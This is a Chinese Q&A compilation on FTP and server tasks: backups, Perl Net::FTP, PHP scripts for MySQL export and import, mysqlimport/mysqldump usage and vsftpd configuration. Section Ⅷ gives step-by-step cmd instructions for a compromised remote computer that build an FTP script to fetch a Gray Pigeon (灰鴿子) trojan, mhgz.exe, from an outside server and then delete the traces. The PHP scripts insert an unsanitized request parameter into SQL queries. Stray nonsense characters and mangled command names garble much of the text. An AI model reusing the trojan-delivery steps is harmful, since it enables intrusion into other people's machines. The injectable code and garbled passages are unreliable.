Ⅰ linux下ftp伺服器的上傳下載的過程
在我用的所有ftp伺服器中來說,首推iis7伺服器管理工具,而且一直在用,感覺非常好。它可以作為FTP的客戶端,想要進行FTP的上傳下載操作,只需要下載安裝iis7伺服器管理工具就可以了,操作不復雜!
簡單的介紹一下iis7伺服器管理工具:可以批量管理WIN系列伺服器、VPS、批量導入伺服器VPS的IP,埠,賬號和密碼 、批量打開N個伺服器VPS的遠程桌面、遠程桌面後,遠程窗口右上角會出現 伺服器備注的信息,如鄭州xxx號伺服器 5、遠程桌面後,不影響任務欄顯示。可以及時看其他窗口。支持多種方式連接,操作簡潔,自身附帶教程。
第一步:點擊主程序圖中「上傳下載」鍵;
第二步:點擊「 Ftp」;
第三步:點擊「添加」;
第四步:在彈出伺服器信息框中填寫Ftp信息,注意:FIP ip埠、賬號、密碼為必填項;
第五步:選擇需要打開的FTP伺服器;
第六步:點擊打開,即刻見FTP效果圖。
Ⅱ 如何將FTP設置成百度網盤
1.「多備份」這款在線工具就可以實現了。要不就自己寫腳本,在伺服器端對網站程序進行打包,如果你是Linux伺服器,可以通過putty客戶端把網站程序目錄打包壓縮成 文件名.tar.gz 格式
2.命令格式:sudo tar zcvf 文件名.tar.gz 目錄名把打包好的源文件移動到網站根目錄;
命令格式:sudo mv 文件名.tar.gz 網站根目錄
3.這樣,通過瀏覽器訪問http://你的網址/文件名.tar.gz 就快自動彈出下載提示了,做網站的朋友,你懂的!3登錄網路網盤,找到如圖所示(離線下載)按鈕。並點擊「新建離線任務」。
4在彈出的對話框中輸入第二步提及的網址,並點擊確定,網路網盤就會自動從你的伺服器下載壓縮好的程序文件了。
5你可以隨時點擊離線下載中查看離線任務狀態,下載完成以後,文件會自動存放到你網路網盤的根目錄中,你可以根據自己的使用習慣新建文件夾專門存放備份的程序文件。
Ⅲ perl net::ftp get下載的 .Z 文件解壓不了
.Z 或者 .zip .tar .gz 這類壓縮包,不枝茄圓能用ascii方式下載猛塌納攔。
你修改一下腳本:
$connection->ascii();
換成
$connection->binary();
Ⅳ 怎樣導入*.gz
、資料庫超過一定尺寸,比如6M 這時使用導出一般沒問題,可以正確的保存到本機硬碟上面,但是導入則不行!原因是:一般的 PHP.INI 裡面設置臨時文件/上傳文件的大小限制為2M,而phpmyadmin使用了上傳的方式,造成失敗。
2、導出到硬碟的 .sql 文件在導回時,經常出現由於某些單引號的問題引起失敗,造成導入失敗,只能用 mysql等應用程序導入了。
我的資料庫已經超過10M,所以必須解決這個問題。我的思路:
導出: 用phpmyadmin 保存資料庫/表格結構,用腳本讀取資料庫內容並保存到文件裡面!
導入: 用phpmyadmin 恢復資料庫/表格結構,用腳本讀取文件,然後保存到庫裡面!
導出程序如下:調用方法為 ****.php?table=tablename
這個簡單的程序目前一次保存一個表格!!每行脊蔽雀為一個欄位的數據!!
if($table=="")exit();
mysql_connect("localhost","name","password");
mysql_select_db("database");
$result = mysql_query("select * from $table");
if(mysql_num_rows($result) <= 0) exit();
echo "開始轉換數據到文本...
";
$handle = fopen("$table.txt","w");
$numfields = mysql_num_fields($result);
fputs($handle,$numfields."\r\n");
for($k=0;$k
{
$msg = mysql_fetch_row($result);
for($i=0;$i<$numfields;$i++)
{
$msg[$i] = str_replace("\r\n","&&php2000mysqlreturn&&",$msg[$i]);
$msg[$i] = str_replace("\n" ,"&&php2000mysqlreturn&&",$msg[$i]);
fputs($handle,$msg[$i]."\r\n");
}
fputs($handle,"------- php2000 mp data program V1.0 for MySQL --------\r\n");
}
fclose($handle);
echo "ok";
?>
導入的程序如下:用法同上面!
if($table=="")exit();
mysql_connect("localhost","name","password");
mysql_select_db("database");
$message = file("$table.txt");
echo $numfields = chop($message[0]);
for($k=1;$k
{
$value="";
for ($i=$k;$i<($k+$numfields-1);$i++)
{
$tmp = str_replace("&&php2000mysqlreturn&&","\r\n",chop($message[$i]));
$value .= "'".addslashes($tmp)."',";
}
$tmp = str_replace("&&php2000mysqlreturn&&","\r\n",chop($message[$k+$numfields-1]));
$value .= "'".$tmp."'";
$query = "insert into $table values (".$value."並慶)";
echo mysql_error();
mysql_query($query);
echo $k." ";
}
echo "ok";
?>
使用方法和可能的問題!
1、導入時 file()函數可能會有問題(我的10M的數據沒出現問題),可以改為 fopen()然後沒次讀一行!!
2、導入,導出都需要用 ftp 操作,也就是導出後,用 ftp 把數據轉到本機,導入時先用ftp轉櫻早移數據到伺服器! 轉自:動態網製作指南 www.knowsky.com
補充日期: 2004-05-27 11:54:12
MySQL數據導入導出方法與工具介紹
1).mysqlimport的語法介紹:
mysqlimport位於mysql/bin目錄中,是mysql的一個載入(或者說導入)數據的一個非常有效的工具。這是一個命令行工具。有兩個參數以及大量的選項可供選擇。這個工具把一個文本文件(text file)導入到你指定的資料庫和表中。比方說我們要從文件Customers.txt中把數據導入到資料庫Meet_A_Geek中的表Custermers中:
mysqlimport Meet_A_Geek Customers.txt
注意:這里Customers.txt是我們要導入數據的文本文件,而Meet_A_Geek是我們要操作的資料庫,資料庫中的表名是Customers,這里文本文件的數據格式必須與Customers表中的記錄格式一致,否則mysqlimport命令將會出錯。
其中表的名字是導入文件的第一個句號(.)前面文件字元串,另外一個例子:
mysqlimport Meet_A_Geek Cus.to.mers.txt
那麼我們將把文件中的內容導入到資料庫Meet_A_Geek 中的Cus表中。
上面的例子中,都只用到兩個參數,並沒有用到更多的選項,下面介紹mysqlimport的選項
2).mysqlimport的常用選項介紹:
選項 功能
-d or --delete 新數據導入數據表中之前刪除數據數據表中的所有信息
-f or --force 不管是否遇到錯誤,mysqlimport將強制繼續插入數據
-i or --ignore mysqlimport跳過或者忽略那些有相同唯一
關鍵字的行, 導入文件中的數據將被忽略。
-l or -lock-tables 數據被插入之前鎖住表,這樣就防止了,
你在更新資料庫時,用戶的查詢和更新受到影響。
-r or -replace 這個選項與-i選項的作用相反;此選項將替代
表中有相同唯一關鍵字的記錄。
--fields-enclosed- by= char
指定文本文件中數據的記錄時以什麼括起的, 很多情況下
數據以雙引號括起。 默認的情況下數據是沒有被字元括起的。
--fields-terminated- by=char
指定各個數據的值之間的分隔符,在句號分隔的文件中,
分隔符是句號。您可以用此選項指定數據之間的分隔符。
默認的分隔符是跳格符(Tab)
--lines-terminated- by=str
此選項指定文本文件中行與行之間數據的分隔字元串
或者字元。 默認的情況下mysqlimport以newline為行分隔符。
您可以選擇用一個字元串來替代一個單個的字元:
一個新行或者一個回車。
mysqlimport命令常用的選項還有-v 顯示版本(version), -p 提示輸入密碼(password)等。
3).例子:導入一個以逗號為分隔符的文件
文件中行的記錄格式是這樣的:
"1", "ORD89876", "1 Dozen Roses", "19991226"
我們的任務是要把這個文件裡面的數據導入到資料庫Meet_A_Geek中的表格Orders中,
我們使用這個命令:
bin/mysqlimport –prl –fields-enclosed-by=" –fields-terminated-by=, Meet_A_Geek Orders.txt
這個命令可能看起來很不爽,不過當你熟悉了之後,這是非常簡單的。第一部分,bin/mysqlimport ,告訴操作系統你要運行的命令是mysql/bin目錄下的mysqlimport,選項p是要求輸入密碼,這樣就要求你在改動資料庫之前輸入密碼,操作起來會更安全。 我們用了r選項是因為我們想要把表中的唯一關鍵字與文件記錄中有重復唯一關鍵字的記錄替換成文件中的數據。我們表單中的數據不是最新的,需要用文件中的數據去更新,因而就用r這個選項,替代資料庫中已經有的記錄。l選項的作用是在我們插入數據的時候鎖住表,這樣就阻止了用戶在我們更新表的時候對表進行查詢或者更改的操作。
批處理是一種非互動式運行mysql程序的方法,如同您在mysql中使用的命令一樣,你仍然將使用這些命令。
為了實現批處理,您重定向一個文件到mysql程序中,首先我們需要一個文本文件,這個文本文件包含有與我們在mysql中輸入的命令相同的文本。
比如我們要插入一些數據,使用包含下面文本的文件(文件名為New_Data.sql,當然我們也可以取名為New_Data.txt及任何其他的合法名字,並不一定要以後綴sql結尾):
USE Meet_A_Geek;
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Block");
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Newton");
INSERT INTO Customers (Customer_ID, Last_Name) VALUES(NULL, "Simmons");
注意上面的這些句子的語法都必須是正確的,並且每個句子以分號結束。
上面的USE命令選擇資料庫,INSERT命令插入數據。
下面我們要把上面的文件導入到資料庫中,導入之前要確認資料庫已經在運行,即是mysqld進程(或者說服務,Windows NT下面稱為」服務「,unix下面為」進程「)已經在運行。
然後運行下面的命令:
bin/mysql –p < /home/mark/New_Data.sql
接著按提示輸入密碼,如果上面的文件中的語句沒有錯誤,那麼這些數據就被導入到了資料庫中。
命令行中使用LOAD DATA INFILE 從文件中導入數據到資料庫:
現在您可能會問自己,"究竟為什麼我要輸入所有的這些SQL語句到文件中,然後通過程序運行它們呢?」
這樣看起來好像需要大量的工作。很好,你這樣想很可能就對了。但是假如你有從所有這些命令中產生的log記錄呢?現在這樣就很棒,嗯,大多數資料庫都會自動產生資料庫中的事件記錄的log。而大部分log都包含有用過的原始的SQL命令。因此,如果您不能從您現在的資料庫中導出數據到新的mysql資料庫中使用,那麼您可以使用log和mysql的批處理特性,來快速且方便地導入您地數據。當然,這樣就省去了打字的麻煩。
LOAD DATA INFILE
這是我們要介紹的最後一個導入數據到MySQL資料庫中的方法。這個命令與mysqlimport非常相似,但這個方法可以在mysql命令行中使用。也就是說您可以在所有使用API的程序中使用這個命令。使用這種方法,您就可以在應用程序中導入您想要導入的數據。
使用這個命令之前,mysqld進程(服務)必須已經在運行。
啟動mysql命令行:
bin/mysql –p
按提示輸入密碼,成功進入mysql命令行之後,輸入下面的命令:
USE Meet_A_Geek;
LOAD DATA INFILE "/home/mark/data.sql" INTO TABLE Orders;
簡單的講,這樣將會把文件data.sql中的內容導入到表Orders中,如mysqlimport工具一樣,這個命令也有一些可以選擇的參數。比如您需要把自己的電腦上的數據導入到遠程的資料庫伺服器中,您可以使用下面的命令:
LOAD DATA LOCAL INFILE "C:\MyDocs\SQL.txt" INTO TABLE Orders;
上面的LOCAL參數表示文件是本地的文件,伺服器是您所登陸的伺服器。
這樣就省去了使用ftp來上傳文件到伺服器,MySQL替你完成了.
您也可以設置插入語句的優先順序,如果您要把它標記為低優先順序(LOW_PRIORITY),那麼MySQL將會等到沒有其他人讀這個表的時候,才把插入數據。可以使用如下的命令:
LOAD DATA LOW_PRIORITY INFILE "/home/mark/data.sql" INTO TABLE Orders;
您也可以指定是否在插入數據的時候,取代或者忽略文件與數據表中重復的鍵值。替代重復的鍵值的語法:
LOAD DATA LOW_PRIORITY INFILE "/home/mark/data.sql" REPLACE INTO TABLE Orders;
上面的句子看起來有點笨拙,但卻把關鍵字放在了讓您的剖析器可以理解的地方。
下面的一對選項描述了文件的記錄格式,這些選項也是在mysqlimport工具中可以用的。他們在這里看起來有點不同。首先,要用到FIELDS關鍵字,如果用到這個關鍵字,MySQL剖析器希望看到至少有下面的一個選項:
TERMINATED BY character
ENCLOSED BY character
ESCAPED BY character
這些關鍵字與它們的參數跟mysqlimport中的用法是一樣的. The
TERMINATED BY 描述欄位的分隔符,默認情況下是tab字元(\t)
ENCLOSED BY描述的是欄位的括起字元。比方以引號括起每一個欄位。
ESCAPED BY 描述的轉義字元。默認的是反些杠(backslash:\ ).
下面仍然使用前面的mysqlimport命令的例子,用LOAD DATA INFILE語句把同樣的文件導入到資料庫中:
LOAD DATA INFILE "/home/mark/Orders.txt" REPLACE INTO TABLE Orders FIELDS TERMINATED BY ',' ENCLOSED BY '"';
LOAD DATA INFILE語句中有一個mysqlimport工具中沒有特點:
LOAD DATA INFILE 可以按指定的列把文件導入到資料庫中。
當我們要把數據的一部分內容導入的時候,這個特點就很重要。比方說,我們要從Access資料庫升級到MySQL資料庫的時候,需要加入一些欄目(列/欄位/field)到MySQL資料庫中,以適應一些額外的需要。
這個時候,我們的Access資料庫中的數據仍然是可用的,但是因為這些數據的欄目(field)與MySQL中的不再匹配,因此而無法再使用mysqlimport工具。盡管如此,我們仍然可以使用LOAD DATA INFILE,下面的例子顯示了如何向指定的欄目(field)中導入數據:
LOAD DATA INFILE "/home/Order.txt" INTO TABLE Orders(Order_Number, Order_Date, Customer_ID);
如您所見,我們可以指定需要的欄目(fields)。這些指定的欄位依然是以括弧括起,由逗號分隔的,如果您遺漏了其中任何一個,MySQL將會提醒您^_^
Importing Data from Microsoft Access (從Access中導入數據,略)
您可以看到MySQL有很多可以導入數據的方法,然而這些只是數據傳輸中的一半。另外的一般是從MySQL資料庫中導出數據。有許多的原因我們需要導出數據。一個重要的原因是用於備份資料庫。數據的造價常常是昂貴的,需要謹慎處理它們。經常地備份可以幫助防止寶貴數據地丟失;另外一個原因是,也許您希望導出數據來共享。 在這個信息技術不斷成長的世界中,共享數據變得越來越常見。
比方說Macmillan USA維護護著一個將要出版的書籍的大型資料庫。這個資料庫在許多書店之間共享,這樣他們就知道哪些書將會很快出版。醫院越來越走向採用無紙病歷記錄,這樣這些病歷可以隨時跟著你。世界變得越來越小,信息也被共享得越來越多。有很多中導出數據得方法,它們都跟導入數據很相似。因為,畢竟,這些都只是一種透視得方式。從資料庫導出的數據就是從另一端導入的數據。這里我們並不討論其他的資料庫各種各樣的導出數據的方法,您將學會如何用MySQL來實現數據導出。
使用mysqlmp:
(mysqlmp命令位於mysql/bin/目錄中)
mysqlmp工具很多方面類似相反作用的工具mysqlimport。它們有一些同樣的選項。但mysqlmp能夠做更多的事情。它可以把整個資料庫裝載到一個單獨的文本文件中。這個文件包含有所有重建您的資料庫所需要的SQL命令。這個命令取得所有的模式(Schema,後面有解釋)並且將其轉換成DDL語法(CREATE語句,即資料庫定義語句),取得所有的數據,並且從這些數據中創建INSERT語句。這個工具將您的資料庫中所有的設計倒轉。因為所有的東西都被包含到了一個文本文件中。這個文本文件可以用一個簡單的批處理和一個合適SQL語句導回到MySQL中。這個工具令人難以置信地簡單而快速。決不會有半點讓人頭疼地地方。
因此,如果您像裝載整個資料庫Meet_A_Geek的內容到一個文件中,可以使用下面的命令:
bin/mysqlmp –p Meet_A_Geek > MeetAGeek_Dump_File.txt
這個語句也允許您指定一個表進行mp(備份/導出/裝載?)。如果您只是希望把資料庫Meet_A_Geek中的表Orders中的整個內容導出到一個文件,可以使用下面的命令:
bin/mysqlmp –p Meet_A_Geek Orders >MeetAGeek_Orders.txt
這個非常的靈活,您甚至可以使用WHERE從句來選擇您需要的記錄導出到文件中。要達到這樣的目的,可以使用類似於下面的命令:
bin/mysqlmp –p –where="Order_ID > 2000" Meet_A_Geek Orders > Special_Dump.txt
mysqlmp工具有大量的選項,部分選項如下表:
選項/Option 作用/Action Performed
--add-drop-table
這個選項將會在每一個表的前面加上DROP TABLE IF EXISTS語句,這樣可以保證導回MySQL資料庫的時候不會出錯,因為每次導回的時候,都會首先檢查表是否存在,存在就刪除
--add-locks
這個選項會在INSERT語句中捆上一個LOCK TABLE和UNLOCK TABLE語句。這就防止在這些記錄被再次導入資料庫時其他用戶對表進行的操作
-c or - complete_insert
這個選項使得mysqlmp命令給每一個產生INSERT語句加上(field)的
名字。當把數據導出導另外一個資料庫時這個選項很有用。
--delayed-insert 在INSERT命令中加入DELAY選項
-F or -flush-logs 使用這個選項,在執行導出之前將會刷新MySQL伺服器的log.
-f or -force 使用這個選項,即使有錯誤發生,仍然繼續導出
--full 這個選項把附加信息也加到CREATE TABLE的語句中
-l or -lock-tables 使用這個選項,導出表的時候伺服器將會給表加鎖。
-t or -no-create- info
這個選項使的mysqlmp命令不創建CREATE TABLE語句,這個選項在您只需要數據而不需要DDL(資料庫定義語句)時很方便。
-d or -no-data 這個選項使的mysqlmp命令不創建INSERT語句。
在您只需要DDL語句時,可以使用這個選項。
--opt 此選項將打開所有會提高文件導出速度和創造一個可以更快導入的文件的選項。
-q or -quick 這個選項使得MySQL不會把整個導出的內容讀入內存再執行導出,而是在讀到的時候就寫入導文件中。
-T path or -tab = path 這個選項將會創建兩個文件,一個文件包含DDL語句或者表創建語句,另一個文件包含數據。DDL文件被命名為table_name.sql,數據文件被命名為table_name.txt.路徑名是存放這兩個文件的目錄。目錄必須已經存在,並且命令的使用者有對文件的特權。
-w "WHERE Clause" or -where = "Where clause "
如前面所講的,您可以使用這一選項來過篩選將要放到
導出文件的數據。
假定您需要為一個表單中要用到的帳號建立一個文件,經理要看今年(2004年)所有的訂單(Orders),它們並不對DDL感興趣,並且需要文件有逗號分隔,因為這樣就很容易導入到Excel中。 為了完成這個人物,您可以使用下面的句子:
bin/mysqlmp –p –where "Order_Date >='2000-01-01'"
–tab = /home/mark –no-create-info –fields-terminated-by=, Meet_A_Geek Orders
這將會得到您想要的結果。
schema:模式
The set of statements, expressed in data definition language, that completely describe the structure of a data base.
一組以數據定義語言來表達的語句集,該語句集完整地描述了資料庫的結構。
SELECT INTO OUTFILE :
如果您覺得mysqlmp工具不夠酷,就使用SELECT INTO OUTFILE吧, MySQL同樣提供一個跟LOAD DATA INFILE命令有相反作用的命令,這就是SELECT INTO OUTFILE 命令,這兩個命令有很多的相似之處。首先,它們有所有的選項幾乎相同。現在您需要完成前面用mysqlmp完成的功能,可以依照下面的步驟進行操作:
1. 確保mysqld進程(服務)已經在運行
2. cd /usr/local/mysql
3. bin/mysqladmin ping ;// 如果這個句子通不過,可以用這個:mysqladmin -u root -p ping
mysqladmin ping用於檢測mysqld的狀態,is alive說明正在運行,出錯則可能需要用戶名和密碼。
4. 啟動MySQL 監聽程序.
5. bin/mysql –p Meet_A_Geek;// 進入mysql命令行,並且打開資料庫Meet_A_Geek,需要輸入密碼
6. 在命令行中,輸入一下命令:
SELECT * INTO OUTFILE '/home/mark/Orders.txt'
FIELDS
TERMINATED BY = ','
FROM Orders
WHERE Order_Date >= '2000-01-01'
在你按了Return(回車)之後,文件就創建了。這個句子就像一個規則的SELECT語句,只是把想屏幕的輸出重定向到了文件中。這意味這您可以使用JOIN來實現多表的高級查詢。這個特點也可以被用作一個報表產生器。
比方說,您可以組合這一章中討論的方法來產生一個非常有趣的查詢,試試這個:
在mysql目錄建立一個名為Report_G.rpt 的文本文件,加入下面的行:
USE Meet_A_Geek;
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Kinnard", "Vicky");
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Kinnard", "Steven");
INSERT INTO Customers (Customer_ID, Last_Name, First_Name)
VALUES (NULL, "Brown", "Sam");
SELECT Last_Name INTO OUTFILE '/home/mark/Report.rpt'
FROM Customers WHERE Customer_ID > 1;
然後確認 mysql進程在運行,並且您在mysql目錄中, 輸入下面的命令:
bin/mysql < Report_G.rpt檢查您命名作為輸出的文件,這個文件將會包含所有您在Customers表中輸入的顧客的姓。 如您所見,您可以使用今天學到的導入/導出(import/export)的方法來幫助得到報表。
Ⅳ 為什麼我網站ftp裡面的www_logs裡面的文件都是wwwlog20140408.log.gz這種形式的,而且查看的時候都是亂碼
gz是gzip壓縮的,顫簡用rar和zip都可以解壓。如果你是linux系統,用賀洞老less直接可以看.gz文件禪升。
Ⅵ linux vsftpd怎麼使用
第一步:下載vsftpd的RPM包
你可以從下面兩個地方獲得最新的vsftpd的RPM包 Redhat's rpm collection 或者 rpmfind.net.為了你的方便, 你也可以使用wget從本站下載vsftpd的rpm包到你的本地電腦.
復制代碼代碼如下:
wget http://www.vsftpdrocks.org/vsftpd-1.1.3-8.i386.rpm
一但有了vsftpd的RPM包,你就可以安裝它
rpm -Uvh vsftpd-1.1.3-8.i386.rpm
就這樣. Vsftpd現在正式安裝.
第二步:啟動並在"standalone"模式下進行測試
復制代碼代碼如下:
vi /etc/vsftpd/vsftpd.conf
添加下面一行, 或者查看文件確定存在下面一行:
復制代碼代碼如下:
listen=YES
保存並退出.
現在來啟動vsftpd...
復制代碼代碼如下:
/usr/sbin/vsftpd &
現在來用ftp命令至你的伺服器. 你可以看到如下面這下樣的成功登陸後的會話信息:
復制代碼代碼如下:
[root@somehost]ftp localhost
Connected to localhost.localdomain.
220 (vsFTPd 1.2.1)
Name (localhost:admin): bobsmith (很明顯,你必須使用在你的伺服器上的有效用戶)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 25372 Jan 17 18:50 somefile.tar.gz
drwx------ 2 1001 1001 512 Jan 16 19:16 index.htm
226 Directory send OK.
ftp> quit
221 Goodbye.
[root@somehost]
如果你准備就緒的話,就可以看到類似於上面的返回信息 ! 如果你想讓你的FTP伺服器運行在 inetd或xinetd上, 那麼你就需要繼續進行下面的測試. 我個人推薦將FTP伺服器運行在 inetd或xinetd上.
第三步:為inetd/xinetd操作進行配置
要在inetd或xinetd配置vsftpd,要進行下面的操作:
首先,來編輯/etc/vsftpd.conf,並告訴它vsftpd沒有運行在"standalone"模式:
復制代碼代碼如下:
vi /etc/vsftpd/vsftpd.conf
確認下行的存在並將其設置為 "NO":
復制代碼代碼如下:
listen=NO
如果你在運行inetd,進行下面的操作:
復制代碼代碼如下:
vi /etc/inetd.conf
如果文件有包含任何「ftp"行的存在, 請注釋或刪除掉它們,並添加入下面一行:
復制代碼代碼如下:
ftp stream tcp nowait root /usr/local/sbin/vsftpd vsftpd
保存並退出.
現在重啟inetd:
復制代碼代碼如下:
/etc/rc.d/init.d/inetd restart
如果你的xinetd正在運行,進行下面的操作:
Redhat用戶:
復制代碼代碼如下:
vi /etc/xinetd.d/vsftpd
# default: off
# description: The vsftpd FTP server serves FTP connections. It uses \
# normal, unencrypted usernames and passwords for authentication.
service ftp
{
disable = no
socket_type = stream
wait = no
user = root
server = /usr/sbin/vsftpd
nice = 10
}
保存並退出.
現在停止並重啟xinetd...
復制代碼代碼如下:
/etc/rc.d/init.d/xinetd restart
現在來測試inetd/xinetd ftp伺服器:
復制代碼代碼如下:
[root@somehost]ftp localhost
Connected to localhost.localdomain.
220 (vsFTPd 1.2.1)
Name (localhost:admin): bobsmith (很明顯,你必須使用在你的伺服器上的有效用戶)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 25372 Jan 17 18:50 somefile.tar.gz
drwx------ 2 1001 1001 512 Jan 16 19:16 index.htm
226 Directory send OK.
ftp> quit
221 Goodbye.
[root@somehost]
如果你准備就緒的話,就可以看到類似於上面的返回信息 ! 恭喜,你的FTP伺服器已經正常運行! 在接下來的步驟, 我們將調整vsftpd的配置讓其擁有最好的性能.
第四步:vsftpd主配置文件
vsftpd主要配置應該是在:/etc/vsftpd.conf. 這個文件將決定如何對你的vsftpd FTP伺服器進行操作. 你必須在vsftpd.conf中查找是否包含下面的配置選項。我雖然不能講訴所有的選面,但是列表中列出來了vsftpd配置的重要部分 :
anonymous_enable=NO/YES
這個開關用於開啟FTP的匿名訪問. 如果將該選項打開,那麼請按照第三步的方法進行匿名匿名服務的配置. 如果你不清楚什麼是匿名FTP服務,最好把該選項選項設置為「ON」
local_enable=NO/YES
啟用或禁用這個選項,可以使本地系統用戶FTP至你的伺服器. 典型的FTP伺服器會將其設置為"YES". 我認為只有一種可以選"NO",
write_enable=NO/YES
啟用或禁用FTP的寫入功能.你必須將其設置為"YES" .
local_umask=022 (或者根據你的需要設置)
vsftpd默認的umask為:077. 它決定目錄和文件被創建時得到的初始許可權
xferlog_enable=YES
這個選項是啟用或禁用伺服器的上傳&下載日誌記錄.
ftpd_banner=Welcome to blah FTP service
沒有任何形式來界定該選項, 但它可以為你的FTP伺服器定製一個更加友好的問候.
chroot_list_enable=NO/YES
chroot_list_file=/etc/vsftpd.chroot_list
這是一個對於開啟了"chroot"選項相當重要的功能. 當 "chroot_list_enable" 設置為"YES"時, vsftpd會尋找在 "chroot_list_file"指定的下一行位置. 被列出在"/etc/vsftpd.chroot_list" 文件中的任何用戶,會自動的"chrooted"至他們的主目錄. 這將禁止用戶進入除了他或她們用戶主目錄之外的任何位置. 非常適用於共享的FTP環境或者安全與保密性一般的層面.
userlist_enable=NO/YES
userlist_deny=NO/YES
"userlist_enable"選項是用於控制下面兩個文件中其中的一個: vsftpd.ftpusers和 vsftpd.user_list.如果這個選項設置為 "YES", 這兩個文件將列出用戶名單將允許訪問FTP服務. 不管怎樣,當額外加上"userlist_deny=YES"時,這兩個文件將列出用戶名單將不允許訪問FTP服務.這個選項是一個非常有用的徹底拒絕通過ftp獲取關鍵系統用戶的功能.比如"root"或"apche"或"www"這樣的用戶. 對於你的FTP伺服器的安全是一個非常好的用途.
第五步: vsftpd.ftpusers, vsftpd.user_list 配置文件
這兩個文件直接與/etc/vsftpd.conf配置文件中的""userlist_enable" 和"userlist_deny"選項關聯.當"userlist_enable"選項設置為 "YES"時, 這兩個文件列表中的用戶將允許訪問FTP伺服器. 不管怎樣, 當額外加上"userlist_deny=YES"選項時,這兩個文件列表中的用戶將不允許訪問FTP伺服器. 當"userlist_deny"選項被使用時,決定一個有戶是否被FTP服務拒絕,主要取決於它存在於上述兩個文件中的其中的哪一個.
如果一個用戶同時存在於"vsftpd.user_list"與"userlist_deny",當用戶試圖連接FTP伺服器時,它們在開始請求FTP連接時 得不到密碼提示並會被拒絕.
如果一個用戶同時存在於"vsftpd.user_list"與"userlist_deny", 用戶必須登陸後更改這一密碼提示.
就個人而言, 我更喜歡使用 "vsftpd.user_list"來建立用戶列表(root, apache, www, nobody等等.) 如果有誰從未見到密碼提示,那麼他應該進行FTP的初始化連接.
第六步: vsftpd.chroot_list 配置文件
"vsfrtpd.chroot_list", 當啟用"chroot_list_enable"選項時, 為FTP建立的用戶列表文件,不管是誰,都必須被 "chrooted"至主FTP目錄. 那些用戶不能改變路徑到其它用戶目錄.在保密性較強的公共FTP環境中,這是一個非常不錯的功能.
在任何時間你都可以改變你的配置文件, 並確認後重啟vsftpd!
Ⅶ win主機下,怎樣解壓linux系統壓縮的tar.gz 和 tar.bz2 格式的壓縮包
不好意思,現在才看到你的問題,希望我的回答對你有幫助
在windows下,是可以直接用winrar解壓linux的tar、gz、bz2文件的,至於你說的解壓出來後是亂碼,應該和系統編碼有問題,看了前面你的問題,你應該知道,WINDOWS使用的編碼和LINUX的編碼如察襲是不一樣的,如果你的WINDOWS系統不支持LINUX系統的編碼,就會導致亂碼的出現。
關鍵是我還沒有弄明白,你是解壓出來的文件名是亂碼還是文件內容是亂碼,如果只是文件內容是亂碼,那多半就是編碼問題的,那麼在windows或LINUX進行編碼轉換即可。如果是文件名有亂碼或解壓過程報錯,那就有可能是其它原因了,比如各種原因導致的壓縮包本身有問題渣兄、磁碟壞道、病毒、錯誤的操作等等原因導致的。不同的原因有不同的解決和診斷方法。如果是這樣的情況,建議你先把文件改成英文再壓縮下載,看看還有沒有亂碼。
但編碼問題是一定要解決的,在操作前你最好先確定你的linux系統用的什麼編碼,再看看你的windows系統是否支持,這樣一點點的排除沒叢問題,確認問題後「對症下葯」就能「葯到病除」了。
Ⅷ 遠程計算機怎麼用FTP傳文件啊
在遠程計算機的cmd環境下,如果不能通過ipc$渠道傳送文件,那就只有通過ftp下載文件了。
假設我們已經有一個ftp伺服器,上面有一個我們配置好的灰鴿子木馬文件mhgz.exe,我們應該知道ftp伺服器的三個參數:
1、ftp伺服器的ip地址:如203.75.44.34
2、ftp伺服器的用戶名:如tty
3、ftp伺服器的密
碼:如tty123
在遠程計算機的cmd下依次輸入下面的命令:
1、echo
open
203.75.44.34>>tty.txt
登陸ftp伺服器
2、echo
tty>>tty.txt
用戶名
3、echo
tty123>>tty.txt
密碼
4、echo
bin>>tty.txt
開始
5、echo
get
mhgz.exe>>tty.txt
下載灰鴿子木馬
6、echo
bye>>tty.txt
關閉ftp伺服器
輸入上面命令後,在遠程計算機上就會生成一個tty.txt文件,內容為:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
現在我們在遠程計算機上執行下面的命令:
ftp
-s:tty.txt
意思是,讀取tty.txt里的參數,執行ftp命令,命令執行完後,灰鴿子木馬文件mhgz.exe就下載到對方計算機里了。
del
c:\tty.txt
Ⅸ centos 6.5 怎麼使用ftp 伺服器
實施步驟:
1:安裝vsftp程序
[root@server Packages]# rpm -ivh vsftpd-2.2.2-11.el6_4.1.i686.rpm
2:啟動服務並設為開機啟動
[root@server ~]# service vsftpd start
[root@server ~]# chkconfig vsftpd on
3:備份配置文件
[root@server ~]# cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.conf.bak
4:編輯配置文件實現需求
[root@server ~]# mkdir /data/ftproot
[root@server ~]# vim /etc/vsftpd/vsftpd.conf
...
12 anonymous_enable=NO 禁止匿名訪問
...
120 listen_port=2121 改ftp埠
121 chroot_local_user=yes 禁錮登錄目錄
122 local_root=/data/ftproot 改登錄目錄為/data/ftproot
123 userlist_deny=NO 白名單生效
124 max_clients=20 最大並發客戶端
125 max_per_ip=2 每ip最大並發
126 local_max_rate=100000 限制下載速度
[root@server ~]# service vsftpd restart 重啟服務
5:編輯白名單實現賬戶訪問控制
[root@server ~]# tail -2 /etc/vsftpd/user_list
up
down
6:在伺服器端給up用戶添加本地寫許可權
[root@server ~]# setfacl -m u:up:rwx /data/ftproot
7:客戶端測試
[root@client ~]# ftp 192.168.1.254 2121
Name (192.168.1.254:root): up 以up用戶登錄測試
230 Login successful
ftp> put install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,247,195).
150 Ok to send data.
226 Transfer complete.
38109 bytes sent in 0.0426 secs (894.56 Kbytes/sec)
ftp> get install.log
local: install.log remote: install.log
227 Entering Passive Mode (192,168,1,254,20,170).
150 Opening BINARY mode data connection for install.log (38109 bytes).
226 Transfer complete.
38109 bytes received in 0.00206 secs (18463.66 Kbytes/sec)
Name (192.168.1.254:root): down 以down用戶登錄測試
230 Login successful.
ftp> !ls
